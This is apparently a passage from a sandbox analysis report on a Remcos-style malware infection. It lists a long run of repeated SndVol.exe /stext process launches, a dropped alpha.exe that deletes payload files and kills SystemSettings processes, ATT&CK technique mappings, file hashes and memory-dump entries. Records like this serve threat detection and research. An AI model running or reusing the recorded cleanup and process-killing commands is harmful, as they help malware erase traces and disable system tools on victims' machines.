C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8800

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8808

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8816

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8824

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8832

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8840

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8848

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8856

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8864

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8872

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8880

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8888

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8896

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8904

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8912

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8920

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8928

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8936

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8944

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8952

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8960

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8968

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8976

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8984

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8992

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9000

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9008

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9016

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9024

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9032

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9040

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9048

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9056

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9064

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9072

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9080

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9088

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9096

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9104

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9112

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9120

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9128

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9136

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9144

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9152

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9160

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9168

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9176

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9184

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9192

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9200

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9208

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:8216

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9028

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9220

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9228

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9236

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9244

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9252

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9260

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9268

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9276

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9284

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9292

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9300

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9308

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9316

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9324

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9332

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9340

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9348

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9356

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9364

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9372

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9380

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9388

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9396

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9404

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9412

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9420

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9428

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9436

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9444

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9452

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9460

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9468

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9476

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9484

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9492

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9500

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9508

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9516

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9524

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9532

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9540

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9548

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9556

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9564

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9572

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9580

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9588

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9596

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9604

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9612

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9620

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9628

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9636

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9644

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9652

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9660

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9668

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9676

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:9684

C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S
2⤵
- Executes dropped EXE
PID:2968

C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S
2⤵
- Executes dropped EXE
PID:1884

C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S
2⤵
- Executes dropped EXE
PID:2976

C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S
2⤵
- Executes dropped EXE
PID:600

C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:476

C:\Windows\system32\taskkill.exe
taskkill /F /IM SystemSettings.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:112

C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
2⤵
- Executes dropped EXE
PID:1876

C:\Windows\system32\taskkill.exe
taskkill /F /IM SystemSettingsAdminFlows.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
467205ad28a624cda8f0bfcc4f2ae859

SHA1
d38ed23e91e567c0bec1934740ad531cf62483f7

SHA256
cdbbe2bc3c83a3de7b0e9880e027281852f150552ef0d02e247d2b0052cc8e30

SHA512
84c83c60c43c4347c51c0051fc80fd93354a862d9c81aa12ac63d1632cce472d7d8874f19cd0976a9de046a2bd8063474d26f7b5101b664de825036e135cbc47

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarAE5E.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Public\Lewxa.txt

Filesize
2.2MB

MD5
8f6b3132069a25963b93083743e160dd

SHA1
364112fc579f11dfa82a3c1078ec19706cd6dfda

SHA256
5184b2c7c5ffbaf8b8c9bac27545f09447b61d619a2f2bf472570b9ebec5747c

SHA512
af3051aeed9de9931f12d48cd22fef3273f9350a1cdd3c476fa02f7550288f7a96112f311d4dadcf61f0a67c93c22ce2999fb6253c8841b9d399e710b8518938

Download Submit
C:\Users\Public\Libraries\Lewxa.com

Filesize
1.1MB

MD5
04aba5a372c8dac9affd6f1578b478b3

SHA1
1e0d764539cbf2e86e0d59b83f407b429f61fdb7

SHA256
b27a5e00f3339d8020da21dabc1c53e001bf5d4a809c47cee65f3e9383568411

SHA512
4d69053814b86bd13b59ca8b147a5331d0eace3ed2aaa936dc35086fdba8ef44d757bdc788eec61338f443578f98b8859f8dd7c7eeef486cab9ecb8eb5be15a3

Download Submit
C:\Users\Public\xkn.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
C:\Windows \System32\6614357.exe

Filesize
128KB

MD5
231ce1e1d7d98b44371ffff407d68b59

SHA1
25510d0f6353dbf0c9f72fc880de7585e34b28ff

SHA256
30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96

SHA512
520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

Download Submit
\Users\Public\alpha.exe

Filesize
337KB

MD5
5746bd7e255dd6a8afa06f7c42c1ba41

SHA1
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8

SHA256
db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386

SHA512
3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

Download Submit
\Users\Public\kn.exe

Filesize
1.1MB

MD5
ec1fd3050dbc40ec7e87ab99c7ca0b03

SHA1
ae7fdfc29f4ef31e38ebf381e61b503038b5cb35

SHA256
1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3

SHA512
4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

Download Submit
memory/1808-147-0x00000000004C0000-0x00000000014C0000-memory.dmp

Filesize
16.0MB

Download
memory/1808-149-0x00000000004C0000-0x00000000014C0000-memory.dmp

Filesize
16.0MB

Download
memory/1808-145-0x00000000004C0000-0x00000000014C0000-memory.dmp

Filesize
16.0MB

Download
memory/1808-143-0x00000000004C0000-0x00000000014C0000-memory.dmp

Filesize
16.0MB

Download
memory/1808-254-0x000000001A0E0000-0x000000001A0F9000-memory.dmp

Filesize
100KB

Download
memory/1808-148-0x00000000004C0000-0x00000000014C0000-memory.dmp

Filesize
16.0MB

Download
memory/1808-201-0x00000000004C0000-0x00000000014C0000-memory.dmp

Filesize
16.0MB

Download
memory/1808-163-0x00000000004C0000-0x00000000014C0000-memory.dmp

Filesize
16.0MB

Download
memory/1808-202-0x00000000004C0000-0x00000000014C0000-memory.dmp

Filesize
16.0MB

Download
memory/1808-150-0x00000000004C0000-0x00000000014C0000-memory.dmp

Filesize
16.0MB

Download
memory/1808-152-0x00000000004C0000-0x00000000014C0000-memory.dmp

Filesize
16.0MB

Download
memory/1808-164-0x00000000004C0000-0x00000000014C0000-memory.dmp

Filesize
16.0MB

Download
memory/1808-142-0x00000000004C0000-0x00000000014C0000-memory.dmp

Filesize
16.0MB

Download
memory/1808-138-0x00000000004C0000-0x00000000014C0000-memory.dmp

Filesize
16.0MB

Download
memory/1808-140-0x00000000004C0000-0x00000000014C0000-memory.dmp

Filesize
16.0MB

Download
memory/1808-141-0x00000000004C0000-0x00000000014C0000-memory.dmp

Filesize
16.0MB

Download
memory/1892-122-0x0000000000900000-0x0000000000901000-memory.dmp

Filesize
4KB

Download
memory/2516-56-0x0000000003170000-0x0000000004170000-memory.dmp

Filesize
16.0MB

Download
memory/2516-58-0x00000000002C0000-0x00000000002C1000-memory.dmp

Filesize
4KB

Download
memory/2516-54-0x0000000003170000-0x0000000004170000-memory.dmp

Filesize
16.0MB

Download
memory/2516-48-0x00000000002C0000-0x00000000002C1000-memory.dmp

Filesize
4KB

Download
memory/2516-59-0x0000000000400000-0x0000000000527000-memory.dmp

Filesize
1.2MB

Download
memory/2676-26-0x0000000002C00000-0x0000000002C80000-memory.dmp

Filesize
512KB

Download
memory/2676-33-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2676-32-0x0000000002C00000-0x0000000002C80000-memory.dmp

Filesize
512KB

Download
memory/2676-21-0x000000001B510000-0x000000001B7F2000-memory.dmp

Filesize
2.9MB

Download
memory/2676-22-0x0000000001D20000-0x0000000001D28000-memory.dmp

Filesize
32KB

Download
memory/2676-23-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2676-24-0x0000000002C00000-0x0000000002C80000-memory.dmp

Filesize
512KB

Download
memory/2676-25-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download
memory/17860-161-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/17860-160-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/17860-158-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/17860-154-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/17860-159-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/17860-156-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/33896-173-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/33896-172-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/33896-166-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/49952-181-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/49952-182-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/66016-190-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/66016-184-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

